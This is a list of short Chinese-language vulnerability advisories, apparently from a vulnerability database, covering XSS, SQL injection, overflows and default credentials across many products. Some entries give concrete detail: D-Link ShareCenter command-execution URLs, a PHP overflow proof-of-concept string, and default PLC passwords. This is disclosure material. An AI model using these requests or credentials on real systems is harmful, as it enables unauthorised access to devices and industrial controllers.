D-Link DAP-1150是一款无线访问接入设备。D-Link DAP-1150存在跨站请求伪造漏洞，允许攻击者构建恶意链接，诱使登录用户解析，可以目标用户上下文执行各种管理操作。
ALTools ALFTP是一款FTP客户端。当装载文件时ALFTP包含一个问题，如用户尝试打开README(无扩展名)而相同目录上又存在一个README.exe，那么README.exe就会代替README执行。
nxShop存在多个HTML注入漏洞。由于应用程序用户提供的输入未能正确过滤，攻击者可以利用漏洞在受影响站点上下文中执行其提供的HTML或脚本代码，盗取基于cookie的认证证书，或控制网站传达给用户的方式，也可能执行其它的攻击。OnxShop 1.5.0版本存在漏洞，其它版本也可能受到影响。
LxCenter Kloxo存在多个HTML注入漏洞。由于应用程序未能正确过滤用户提供的数据，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其它攻击。Kloxo 6.1.0版本存在漏洞，其它版本也可能受到影响。
RabbitWiki存在跨站脚本漏洞。该漏洞源于对用户提供的数据未经充分过滤。攻击者可利用该漏洞在受影响站点上下文内的不知情用户浏览器中执行任意脚本代码，盗取基于cookie的认证证书进而执行其他攻击。
RabidHamster R4是一款OpenGL加速程序。RabidHamster R4处理WEB请求存在边界错误，向TCP 8888端口发送超长WEB请求可触发基于堆的缓冲区溢出。
RabidHamster R4是一款OpenGL加速程序。RabidHamster R4创建日志条目时存在边界错误，向TCP 8888端口发送超长WEB请求可触发基于栈的缓冲区溢出。
RabidHamster R4是一款OpenGL加速程序。RabidHamster R4通过"loadfile()"脚本函数传递给left_console.html的"cmd"参数在用于读文件时缺少正确校验，可通过目录遍历攻击获得任意文件。
NetBeans平台是一个广泛使用的基于Swing的框架。NetBeans插件存在安全漏洞，允许恶意用户进行伪造攻击。当登录到Bugzilla或JIRA bugtracker时，插件没有校验颁发SSL证书的有效性，可被利用伪造合法服务器，进行中间人攻击。
jetVideo是一款媒体播放程序。jetVideo未能正确处理特制的'.m3u'文件，攻击者可以构建恶意文件，诱使用户解析，使应用程序崩溃。
AjaXplorer是一款通过本地实现远程端文件管理功能的软件。通过"doc_file"参数传递给index.php(当"get_action"设置为"display_doc")的输入在用于显示文件之前缺少校验，可通过目录遍历序列获得本地文件内容。
Sysax Multi Server是一款windows平台下的SSH2和FTP服务器。Sysax Multi Server WEB服务器"file rename"功能存在一个基于栈的缓冲区溢出，攻击者向'uploadfile_name1.htm'脚本提交恶意请求，可导致以应用程序上下文执行任意代码。攻击者需要通过验证，并对文件有写访问权限才能成功利用此漏洞。
PeerBlock是一个P2P保护软件。PeerBlock 'pbfilter.sys'存在缓冲区溢出问题，本地攻击者可以利用漏洞使应用程序崩溃。
PhotoLine是一款来自德国的图形图像共享软件。当处理量化默认值(QCD)标记段时存在错误，构建特制的JPEG2000 (JP2)文件，诱使应用程序解析可触发基于栈的缓冲区溢出。
MySQL是一款流行的数据库服务程序。MySQL 5.5.20存在一个未明安全漏洞，远程攻击者可以利用漏洞以服务程序上下文执行任意代码。VulnDisco Pack Professional 9.17已经发布了一个可工作的 MySQL 5.5.20远程0day利用代码，具体目标可针对Debian 6.0 mysql-5.5.20-debian6.0-i686.deb。
Advantech BroadWin是一款完全基于浏览器的人机界面(HMI)和监控及数据采集(SCADA)软禁。Advantech BroadWin WebAccess软件提供的WebAccess网络服务存在安全漏洞，远程攻击者利用此漏洞通过向TCP端口4592或者14592提交特制RPC请求执行任意代码或者进行拒绝服务攻击。
Computer Associates Total Defense用于保护网络，终端，集团组织，免受入侵，恶意程序和病毒等影响。Computer Associates Total Defense可通过management.asmx控制台访问的uncsp_ViewReportsHomepage存储过程存在安全缺陷，管理WEB服务在34444端口HTTP及在34443端口HTTPS监听SOAP 1.2请求。由于uncsp_ViewReportsHomepage存储过程实现缺陷，远程未验证用户可以在SOAP请求中注入任意SQL命令。
Computer Associates Total Defense用于保护网络，终端，集团组织，免受入侵，恶意程序和病毒等影响。Computer Associates Total Defense默认TCP 34444和34443 (SSL)上监听的App_Code.dll服务存在缺陷，此服务允许远程客户端无需验证请求加密域凭据，加密缺少SALT允许本地用户攻击者轻易解密。
Computer Associates Total Defense用于保护网络，终端，集团组织，免受入侵，恶意程序和病毒等影响。Computer Associates Total Defense可通过management.asmx控制台访问的ExportReport存储过程存在安全缺陷，管理WEB服务在34444端口HTTP及在34443端口HTTPS监听SOAP 1.2请求。由于ExportReport存储过程实现缺陷，远程未验证用户可以在SOAP请求中注入任意SQL命令。
Avaya Interaction Center是一个整合的多媒体客服中心解决方案，它能对客户透过多种沟通管道（包括Web、电子邮件和电话系统）的互动进行路由、管理、记录和报告。当处理某些报文时Avaya IC ORB服务中的vesporb.dll模块存在输入验证错误，向TCP 9001端口发送特制报文可触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android部分android浏览器存在跨应用脚本漏洞。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android com.htc.googlereader是HTCMobile [G10]上的一个应用，存在XSS漏洞。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android通过控制webview.loadDataWithBaseURL()第二个参数，可使用javascript跨file://协议。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android android-browser/firefox协议存在自动下载文件漏洞，由于处理Content-Disposition:附件存在问题允许用户自动下载恶意HTML文件到本地目录。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android android-webkit file://协议由于对目录和文件名缺少过滤，可导致XSS攻击。
TORCS具有高度可移植性的赛车模拟器。TORCS不正确处理'.xml'文件，攻击者可以构建恶意文件，诱使用户打开，可以利用漏洞以应用程序上下文执行任意代码。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android android-webkit跨协议漏洞，此漏洞允许从HTTP协议跨到file协议。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Open Handset Alliance Android android-webkit跨域漏洞，允许HTML文件跨过任意HTTP域。
Scientific Toolworks Understand是一款源代码审核工具。由于应用程序不安装装载库(wintab32.dll)，构建特制的.udb文件，放置在远程WebDAV或者SMB共享上，诱使用户打开，可装载任意恶意库。
IBM Cognos TM1 Executive Viewer经营决策程序可提供进阶分析和报表制作功能。IBM Cognos TM1 Executive Viewer存在多个输入安全漏洞，允许恶意用户进行跨站脚本攻击。攻击者可以构建恶意WEB页，诱使用户解析，获得敏感信息或劫持用户会话。
D-Link ShareCenter是一款网络存储器设备。D-Link ShareCenter对访问已经存在的CGI脚本(/cgi目录)没有进行正确的验证检查，攻击者可以访问如下资源获得设备型号和固件版本：http://<device IP address>/cgi-bin/discovery.cgihttp://<device IP address>/cgi-bin/system_mgr.cgi?cmd=get_firm_v_xml 另外未文档化功能允许执行任意命令，如：http://<device IP address>/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test
ivanview是一款图像处理系统。当处理量化默认值(QCD)标记段时存在错误，构建特制的JPEG2000 (JP2)文件，诱使应用程序解析可触发基于栈的缓冲区溢出。
XnView是一款图像处理系统。当处理量化默认值(QCD)标记段时JPEG2000插件(Xjp2.dll)存在错误，构建特制的JPEG2000 (JP2)文件，诱使应用程序解析可触发基于栈的缓冲区溢出。
TYPSoft FTP Server是一款FTP服务程序。TYPSoft FTP Server不正确处理特殊的NLST和SIZE命令，远程攻击者可以利用漏洞提交恶意请求使服务程序崩溃。
Hancom Office是一款韩国很流行的文字处理软件。PNG图像过滤模块(HncPng10.flt)分配内存时存在整数溢出错误，当装载其嵌入超大图像尺寸值的PNG图像的文档时可触发基于堆的缓冲区溢出。
Hancom Office是一款韩国很流行的文字处理软件。JPG图像过滤模块(HncJpeg10.flt)中的"ImportGR()"函数分配内存时存在整数溢出错误，当装载其嵌入超大图像尺寸值的JPG图像的文档时可触发基于堆的缓冲区溢出。
BASE(Basic Analysis and Security Engine)是基于PHP的广泛使用的一种高效Snort分析查询系统。通过某些"ip_addr[][]"参数数组值传递给base_qry_main.php(当"submit"设置为"Query")时在用于SQL查询之前缺少正确过滤，可导致SQL注入攻击，可操作数据库或控制应用系统。
Joomla!是一套相当知名的内容管理系统。Joomla!存在多个未知原因的远程信息泄露漏洞。攻击者可以利用此漏洞获取敏感信息，从而发起进一步的攻击。
OfficeSIP Server是一款免费VoIP和即时消息软件。应用程序未能正确校验请求中'To'字段里的SIP/SIPS URI，允许远程攻击者对服务器进行拒绝服务攻击，成功利用漏洞可使服务崩溃。
Xmanager是一个运行在Windows平台上的X Server软件。NetSarang Xlpd不正确校验发送给打印守护程序的恶意LPD请求，允许远程攻击者使服务崩溃。
XRay CMS是一款内容管理系统。漏洞存在于“login2.php” 20行和21行上：17if(!isset($_POST['username'])) header("Location: login.php?error_username");18if(!isset($_POST['password'])) header("Location: login.php?error_password");1920$user = $_POST['username'];21$pass = $_POST['password'];不正确过滤'username'和'password'数据，可导致SQL注入。
PHP-Fusion是一款流行的开源内容管理系统。PHP-Fusion包含的'weblinks.php'脚本不正确过滤'weblink_id'参数，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库控制应用程序。
hdwiki是互动百科开发的一款免费建站，自助建站程序。HDWIKI V5.0 基本上没有对输入的变量进行过滤,存在多个sql注入漏洞，如发表评论的地方存在代码注入问题。另外HDwiki中某些上传功能存在安全漏洞，通过一些数据即可绕过上传限制，最终获得shell。
EdrawSoft是一家优秀的图形控件与图形应用软件的提供商。Edraw PDF Viewer Component ActiveX控件提供的'TitlebarText'方法处理参数存在边界检查问题，攻击者构建恶意WEB页，诱使用户解析，使应用程序崩溃。
EdrawSoft是一家优秀的图形控件与图形应用软件的提供商。Edraw Diagram Component ActiveX控件提供的'LicenseName()'方法处理参数存在边界检查问题，攻击者构建恶意WEB页，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Foswiki中存在多个HTML注入漏洞，该漏洞源于对用户提供的数据未能进行充分过滤。攻击者可利用该漏洞在不知情用户的受影响站点上下文中执行任意脚本代码，窃取基于cookie的认证证书进而发起其它攻击。
DotNetNuke(DNN)是免费的开源内容管理系统。  DotNetNuke中存在多个安全绕过漏洞和一个跨站脚本漏洞。攻击者可利用该漏洞绕过某些安全限制，在不知情用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书，并在受影响应用程序上执行某些管理操作。
C6 Messenger一个意大利电信的即时通讯产品。C6 Messenger URL Downloader ActiveX Control 存在一个任意文件下载漏洞。攻击者可以利用这个漏洞引诱用户访问指定页面来触发漏洞，导致下载任意文件至用户计算机。
WordPress是一种使用PHP语言开发的博客平台。WordPress存在多个漏洞，由于“setup-config.php”脚本页面含有执行PHP代码和跨站脚本漏洞。恶意的用户可利用上述漏洞注入恶意的PHP代码，控制数据库信息并进一步进行跨站脚本攻击。
OSCommerce是一款在线电子购物解决方案。OSCommerce v3.0.2存在多个持续型跨站脚本漏洞，由于对用户输入没有进行合理过滤，导致跨站脚本攻击。攻击者可利用此漏洞在应用程序上执行恶意的脚本代码，操作指定的模块或会话劫持。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。Skype存在一个未明错误，目前没有详细漏洞细节提供。
PHP是一款流行的编程语言。由于循环只保证开始处40字节可用，超长实体可导致缓冲区溢出：<?phpecho htmlspecialchars('"""""""""""""""""""""""""""""""""""""""""""""#x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005;',ENT_QUOTES, 'UTF-8', false), "\n";
.kz是一款国产快压软件生成的压缩格式文件。多个杀毒软件不正确处理.kz文件，攻击者可以构建特殊.kz文件，使用特殊的负载绕过反病毒保护，允许攻击者利用此缺陷在服务器上防止恶意文件而不被检杀。
2X ApplicationServer是一款虚拟桌面和应用交付解决方案。2X ApplicationServer TuxSystem ActiveX控件存在安全漏洞，允许恶意用户操作部分数据。由于TuxSystem ActiveX控件(TuxScripting.dll)提供不安全的"ExportSettings()"方法，允许攻击者构建恶意WEB页，诱使用户访问，以登录用户上下文创建或覆盖任意文件。
Opera是一款开源的WEB浏览器。Opera操作帧内容存在错误，允许攻击者利用漏洞绕过同源策略，攻击者可以通过跨站脚本攻击获得敏感信息或劫持用户会话。
NX Web Companion中存在任意代码执行漏洞。攻击者可利用该漏洞在受影响应用程序上下文中执行任意代码。NX Web Companion 3.5.0-3版本存在此漏洞，其它版本也可能受到影响。
Ultimate Locator中存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用这些漏洞操控应用程序，访问或修改数据，或者在底层数据库利用该漏洞。
glFusion是一个开源的内容管理系统，可用于新闻或网上社区。glFusion中存在多个SQL注入漏洞和任意文件上传漏洞，由于程序对用户提供的数据未经正确过滤。攻击者可利用这些漏洞操控应用程序，执行任意代码;访问或修改数据，或者在底层数据库利用该漏洞。glFusion 1.2.2版本存在这些漏洞，其它版本也可能受到影响。
SpamTitan中存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用这些漏洞操控应用程序，访问或者修改数据，或者在底层数据库利用该漏洞。SpamTitan 5.08版本存在该漏洞，其它版本也可能受到影响。
Joomla! 是一款开放源码的内容管理系统(CMS)。Joomla! com_mobile组件存在多个SQL注入漏洞。由于程序对用户提供的数据在用于SQL查询之前未经充分过滤，攻击者可利用这些漏洞操控应用程序，访问或者修改数据，或者在底层数据库利用该漏洞。
Nova CMS中存在目录遍历漏洞，该漏洞源于对用户提供的数据未经充分过滤。攻击者可利用该漏洞获取敏感信息或者可能执行进一步的攻击。Nova CMS 1版本中存在该漏洞，其他版本中也可能存在该漏洞。
Raven存在漏洞，由于应用程序未对用户提供的数据进行充分过滤。攻击者可利用该漏洞在受影响的web服务器进程上下文中上传或者执行任意脚本代码。Raven 1.0版本中存在该漏洞，其他版本中也可能存在该漏洞。
ARYADAD CMS存在漏洞，由于应用程序未对上传权限进行验证。远程攻击者可利用该漏洞以web服务器进程的权限在受影响的计算机上上传并执行任意脚本代码。
swDesk中存在如下漏洞：1.任意文件上传漏洞 2.多个跨站脚本漏洞 3.多个PHP代码注入漏洞。攻击者可利用这些漏洞在受影响站点的上下文中执行任意脚本代码，盗取基于cookie的认证证书，上传任意代码或者在受影响的应用程序上下文中注入并执行任意代码。这将有助于攻击者操控应用程序或底层系统，也可能执行其他的攻击。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。TYPO3 Category System extension中存在未明SQL注入漏洞和跨站脚本攻击漏洞，由于程序对用户提供的输入没有经过充分过滤。攻击者可利用这些漏洞盗取基于cookie的认证证书，操控应用程序，访问或修改数据或者在底层数据库中利用该漏洞。TYPO3 Category System 0.6.0及其更早的版本中存在该漏洞。
Achievo是Achievo公司开发的一款基于WEB的商业资源管理系统。  Achievo中存在SQL注入漏洞和多个HTML注入漏洞，这些漏洞源于用户提供的输入没有经过充分过滤。攻击者可利用这些漏洞操控应用程序，访问或修改数据；或者在底层数据库中利用该漏洞；或者在受影响站点上下文内的不知情用户浏览器上执行任意代码；盗取基于cookie的认证证书或者控制网站提交给用户的方式；也可能造成其他攻击。Achievo 1.4.3中存在该漏洞，其他版本中也可能受影响。
Ultraplayer Media Player是一款媒体播放程序。Ultraplayer Media Player处理特制的".m3u"文件存在漏洞，远程攻击者可以利用此漏洞触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
phpLDAPAdmin是一款开源的、基于WEB的LDAP管理工具。Debian phpldapadmin 1.2.0.5-2没有正确过滤'server_id'变量，攻击者可以利用漏洞进行跨站脚本攻击，构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
phpLDAPAdmin是一款开源的、基于WEB的LDAP管理工具。phpLDAPadmin没有正确过滤'base'变量，攻击者可以利用漏洞进行跨站脚本攻击，构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
Php是一款流行的编程语言。PHP在12月为哈希碰撞拒绝服务(CVE-2011-4885)提供的补丁引出了另一个严重的安全漏洞。防止哈希碰撞的补丁在php.ini中引入了新的配置属性：max_input_vars此配置元素限制用于请求中使用的变量数量，默认设置为1000。漏洞修补在php_variables.c代码中的php_register_variable_ex函数中作了更改，不过当变量数超过max_input_vars，而变量又是数组变量时(if (*p == ‘['))可触发此漏洞。漏洞可导致任意代码执行。
Ultraplayer Media Player是一款媒体播放程序。Ultraplayer Media Player处理特制的".avi"文件存在漏洞，远程攻击者可以利用此漏洞使应用程序崩溃，造成拒绝服务攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在多个安全漏洞，包括：(1)部分资源的访问控制处理存在错误，可被利用获得对受限实时工作台资源(Runtime Workbench resources)。(2)访问限制实现提供的 "PFL_CHECK_OS_FILE_EXISTENCE"函数存在错误，可被利用枚举系统文件。(3)通过"TXVDestination"参数传递给TextContainerAdmin/administration_setup.jsp， "ValueIndustry", "ValueRegion"和"ValueExtension"参数传递给system_context_settings.jsp脚本的输入在显示给用户之前缺少过滤，可导致注入任意HTML和脚本代码。(4)通过"cc0Host", "cc0Id", "cc0Path", "cc0Port"和"cc0Protocol"参数传递给bcbadmSettings.jsp的输入在返回给用户之前缺少过滤，可被利用执行任意HTML和脚本代码。
OpenEMR是一款医疗管理系统,可用于医疗实践管理，电子病历，处方书写和医疗帐单申请。OpenEMR通过"file"参数传递给interface/fax/fax_dispatch.php脚本的输入在用于"exec()"调用之前缺少正确过滤，可被利用注入和执行任意shell命令。
OpenEMR是一款医疗管理系统,可用于医疗实践管理，电子病历，处方书写和医疗帐单申请。OpenEMR通过"formname"参数传递给interface/patient_file/encounter/load_form.php, interface/patient_file/encounter/load_form.php和interface/patient_file/encounter/trend_form.php脚本的输入在用于包含文件之前缺少校验，可目录遍历和URL编码NULL字节获得系统的任意文件信息。OpenEMR通过"formname"参数传递给contrib/acog/print_form.php脚本的输入在用于包含文件之前缺少校验，可目录遍历和URL编码NULL字节获得系统的任意文件信息。
Opera是一款开源的WEB浏览器。Opera存在安全漏洞，允许恶意用户泄露敏感信息或绕过部分安全限制。远程WEB页不应该能检查用户本地机器上的文件，当尝试引用本地存在的文件时部分HTML元素类型表现出不同的行文。尝试装载本地文件会被阻拦，但是会触发不同的javaScript事件，允许检查本地文件是否存在。但文件内容不会被泄露。
WinCDEmu是一个开放源码软件，使您可以安装的CD / DVD的虚拟驱动器，只需双击打开映像文件。WinCDEmu 'BazisVirtualCDBus.sys'驱动不正确卸载磁盘，允许攻击者利用漏洞把"/unmountall"命令提供给"batchmnt.exe"工具使应用程序崩溃。
Vopium是一款免费网络电话应用程序。应用程序以明文方式传送验证凭据，攻击者可以通过中间人攻击嗅探网络通信获得验证凭据。
Trend Micro DataArmor/DriveArmor是数据保护应用程序。Trend Micro DataArmor/DriveArmor预启动存在安全漏洞，允许本地攻击者以登录用户上下文执行任意代码，并获得对DataArmor恢复控制台的访问。
SolarWinds Storage Manager server基于WEB的整合存储监控，报表，报警等功能的服务程序。SolarWinds Storage Manager Server监听在9000端口的'LoginServlet'页面对'loginName'字段缺少过滤，攻击者可以利用漏洞绕过验证或执行SQL命令，或从后端数据库获得敏感信息。
Koyo ECOM100 Ethernet是一款以太网模块。此模块用于PLC和控制系统之间的通信。Koyo ECOM100 Ethernet存在多个安全漏洞，包括：(1)使用8字节密码弱验证机制。(2)存在重放攻击。(3)WEB服务器没有任何验证机制。(4)WEB服务器存在缓冲区溢出。(5)WEB服务器存在跨站脚本攻击。(6)WEB服务器存在拒绝服务攻击，可消耗大量资源。
IBM SolidDB是一款IBM公司开发的内存型数据库系统。在IBM SolidDB中，发送包含一个使用rownum子查询条件的SELECT语句，可导致服务器不正常关闭。
Joomla! 是一款开放源码的内容管理系统(CMS)。Joomla! 'com_crhotels'组件'catid'参数存在远程SQL注入漏洞。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库利用该漏洞。
HostBill 3.1.2之前版本中存在远程代码注入漏洞。攻击者可利用此漏洞在受影响应用程序的上下文中注入并执行任意PHP代码，这可能导致操控应用程序和底层系统，也可能执行其他的攻击。
Campaign Enterprise存在SQL注入漏洞，由于应用程序对用户提供的数据在用于SQL查询之前未进行充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库利用该漏洞。Campaign Enterprise 11.0.421版本存在该漏洞，其他版本也可能受影响。
Ajax Upload中存在任意文件上传漏洞，该漏洞源于对用户提供的输入未正确过滤。攻击者可利用该漏洞上传任意文件到受影响的计算机上，在受影响应用程序上下文中执行任意代码。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Register Plus插件3.5.1版本及之前版本中存在多个HTML注入漏洞，该漏洞源于对用户提供的输入未经正确的过滤。攻击者提供的HTML和脚本代码可能在受影响浏览器的上下文中运行，可能允许攻击者盗取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。
Mathopd是一款WEB服务程序。Mathopd在实现上存在目录遍历漏洞，在特定配置下可允许攻击者获取虚拟主机的敏感信息。
Rockwell Automation Controllogix固件升级存在安全漏洞。允许任意代码执行或进行拒绝服务攻击。
Rockwell Automation Controllogix模块启动代码存在安全漏洞。允许泄露数据。
Mindjet MindManager是一款思维导图和知识管理软件。多个来自第三方软件的OCX和DLL库(glg.ocx, officeviewermme.ocx, pdfxctrl.dll, vsflex8n.ocx和ChartFX.ClientServer.Core.dll)存在缓冲区溢出和拒绝服务攻击(IE)，应用程序也受不安全库装载漏洞影响，可通过ssgp.dll和dwmapi.dll装载恶意文件。
LuraWave JP2 Browser Plug-In是一款处理JPEG2000 (JP2)文件的浏览器插件。当处理量化默认值(QCD)标记段时npjp2.dll存在错误，构建特制的JPEG2000 (JP2)文件，诱使应用程序解析可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
LuraWave JP2 ActiveX控件用于处理JPM(JPEG2000/Part 6)和LDF。当处理量化默认值(QCD)标记段时Jp2_x.dll存在错误，构建特制的JPEG2000 (JP2)文件，诱使应用程序解析可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
Hitachi uCosminexus EUR Print Manager产品存在跨站脚本漏洞。远程攻击者可以利用此漏洞执行恶意脚本，攻击者可以构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
Hitachi uCosminexus产品存在跨站脚本漏洞。远程攻击者可以利用此漏洞执行恶意脚本，攻击者可以构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
Hitachi JP1/IT Desktop Management - Manager存在跨站脚本漏洞。远程攻击者可以利用此漏洞执行恶意脚本，攻击者可以构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
Hitachi JP1产品存在跨站脚本漏洞。远程攻击者可以利用此漏洞执行恶意脚本，攻击者可以构建恶意链接，诱使用户解析，可获得敏感信息或劫持用户会话。
FishEye和Crucible是源码库浏览器和代码审查工具。部分传递给Webwork 2架构中的输入在使用之前缺少过滤，可被利用注入和执行任意Java代码。要成功利用漏洞需要管理权限。此漏洞由于Struts2漏洞(https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt)引起。
Syneto Unified Threat Management是一款统一威胁管理应用设备。Syneto Unified Threat Management存在多个跨站脚本漏洞和HTML注入漏洞。由于程序对用户提供的输入在用于动态生成内容前未经正确过滤，攻击者可利用该漏洞将自身提供的HTML和脚本代码在受影响浏览器的上下文中运行，可能允许攻击者窃取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。
VLC Media Player是一款免费的媒体播放器。VLC Media Player存在拒绝服务漏洞。攻击者可利用漏洞使受影响应用程序崩溃，拒绝为合法用户提供服务。
WAGO IPC是紧凑型工业PC，它适用于控制应用。WAGO存在多个安全漏洞，包括：1.安全绕过漏洞 2.多个信息泄露漏洞 3.跨站请求伪造漏洞。攻击者可利用这些漏洞获得敏感信息，绕过某些安全限制，执行未授权操作。
Joomla! 是一款开放源码的内容管理系统(CMS)。Joomla! Full组件存在SQL注入漏洞。该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用潜在的漏洞。
Joomla! 是一款开放源码的内容管理系统(CMS)。Joomla! 'com_some'组件存在文件包含漏洞。由于程序未能经正确验证用户提供的输入，攻击者可以利用漏洞获得敏感信息，在web服务器进程上下文中执行任意脚本，操控应用程序和计算机，也可能执行其他的攻击。
Joomla! 是一款开放源码的内容管理系统(CMS)。Joomla!的com_bulkenquery组件存在本地文件包含漏洞，由于程序对用户提供的输入未经正确验证。攻击者可利用该漏洞获得敏感信息，在web服务器进程上下文中执行任意本地脚本，操控应用程序和计算机，也可能执行其他的攻击。
Tecomat Foxtrot是一款可编程控制器，可用于工业控制任务。应用系统中安装了9个默认用户，并使用已知默认密码：user 0 password 0 role 0 user 1 password 1 role 1user 2 password 2 role 2user 3 password 3 role 3user 4 password 4 role 4user 5 password 5 role 5user 6 password 6 role 6user 7 password 7 role 7user 8 password 8 role 8user 9 password 9 role 9许多PLC设备可通过这些默认密码进行远程访问。
usb_modeswitch是一款控制"flip flop"(多重设备)USB装置的模式转换工具。usb_modeswitch不安全创建临时文件，本地攻击者可以通过符号链接攻击破坏系统文件，造成拒绝服务或特权提升攻击。
RenRen Talk是一款用于人人网的即时通信软件。当校验皮肤文件的图像尺寸和处理聊天时的图像时存在错误，允许攻击者构建特制的BMP文件诱使用户解析或发送特制的PNG文件可触发基于堆的缓冲区溢出。
KingSCADA是一款面向高、中端市场的SCADA产品。KingSCADA把密码以Base64格式存储在user.db文件，用户可容易的解码访问SCADA服务器。
多个Hitachi COBOL2002产品存在安全漏洞，允许攻击者控制目标用户系统。目前没有详细漏洞细节提供。
GE Energy D20/D200 Substation Controller存在多个安全漏洞，允许恶意用户泄露敏感信息和控制设备。TFTP服务存在未明错误,远程攻击者可以利用漏洞获得敏感信息或执行任意代码。
OPC Systems.NET是用于SCADA,HMI的.NET产品。ComponentOne FlexGrid ActiveX控件存在缓冲区溢出，攻击者可以利用漏洞构建恶意链接，诱使用户解析，以应用程序上下文执行任意代码。
Barracuda Spam和Virus Firewall是一款用于保护邮件服务器的集成硬件和软件垃圾邮件和反病毒解决方案。Barracuda Spam和Virus Firewall存在多个持久型输入验证漏洞，允许本地非特权用户账户实现/注入恶意持久型脚本代码，当以验证用户进行利用时，这些漏洞可导致信息泄露。访问内网可用服务器或操作内容。受影响模块包括：[ ] Trace route Device - Troubleshooting[ ] LDAP Configuration - LDAP Username
Syneto Unified Threat Management是一款统一威胁管理应用设备。Syneto Unified Threat Management存在多个输入验证漏洞(持久型和非持久型)，远程攻击者可以利用漏洞进行脚本注入攻击，可获得敏感信息或劫持用户会话。持久型漏洞受影响模块为：[ ] Reports => Executive Summery => Name Input Fields
Postfix Admin是一个基于Web的Postfix邮件发送服务器的管理工具。通过"domain"参数传递给脚本的输入在返回给用户之前在templates/menu.php和templates/edit-vacation.php中缺少过滤，部分未明输入传递给create-domain.php, create-alias.php和edit-alias.php脚本在返回用户之前缺少过滤，可导致跨站脚本攻击。未明输入在使用之前缺少过滤，可被利用注入任意HTML和脚本代码，当恶意数据查看时可在用户浏览器上下文上执行。
Postfix Admin是一个基于Web的Postfix邮件发送服务器的管理工具。unctions.inc.php中的"pacrypt()"函数对部分输入缺少过滤，backup.php脚本对某些输入缺少过滤，可导致SQL注入攻击。利用恢复数据库备份可执行任意代码。
Fortinet Fortigate是一款防火墙解决方案。FortGate UTM Appliance系列存在多个输入验证漏洞(持久型和非持久型)，远程攻击者可以利用漏洞进行脚本注入攻击，可获得敏感信息或劫持用户会话。持久型漏洞受影响模块为：[ ] Endpoint => Monitor => Endpoint Monitor[ ] Dailup List[ ] Log
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。当协商SRTP视频流时处理加密流过程中存在错误，允许攻击者利用此漏洞进行拒绝服务攻击，可使应用服务崩溃。要成功利用漏洞需要不启用视频支持但装载了res_srtp模块。
usbmuxd是一款连接Iphone或Ipod Touch的多重链接套接字守护程序。usbmuxd 'libusbmuxd/libusbmuxd.c'存在一个基于堆的缓冲区溢出，本地攻击者可以利用漏洞以应用程序上下文执行任意代码或对程序进行拒绝服务攻击。当处理包含超长"SerialNumber"字段的属性列表时"receive_packet()"函数(libusbmuxd/libusbmuxd.c)存在边界错误，可触发此漏洞。
Suhosin是一款用于PHP应用的高级保护系统。Suhosin透明COOKIE加密默认禁用，但启用时会对所有进入的COOKIE进行加密，所有外出的SET-Cookie HTTP头会重写确保仅包含加密数据，出现此情况时会触发如下Suhosin扩展代码：char *suhosin_encrypt_single_cookie(char *name, int name_len, char*value, int value_len, char *key TSRMLS_DC){char buffer[4096];char buffer2[4096];char *buf = buffer, *buf2 = buffer2, *d, *d_url;int l;if (name_len > sizeof(buffer)-2) {buf = estrndup(name, name_len);} else {memcpy(buf, name, name_len);buf[name_len] = 0;}...if (strlen(value) <= sizeof(buffer2)-2) {memcpy(buf2, value, value_len);buf2[value_len] = 0;} else {buf2 = estrndup(value, value_len);}此代码存在问题是由于第二个调用mempcy()使用strlen()来检查缓冲空间是否足够大，但使用变量value_len来判断要拷贝多少字节。由于COOKIE值可包含NUL字节，会导致缓冲区溢出。相同代码也出现在suhosin_decrypt_single_cookie()函数中但因为不包含NUL字节而不能利用。
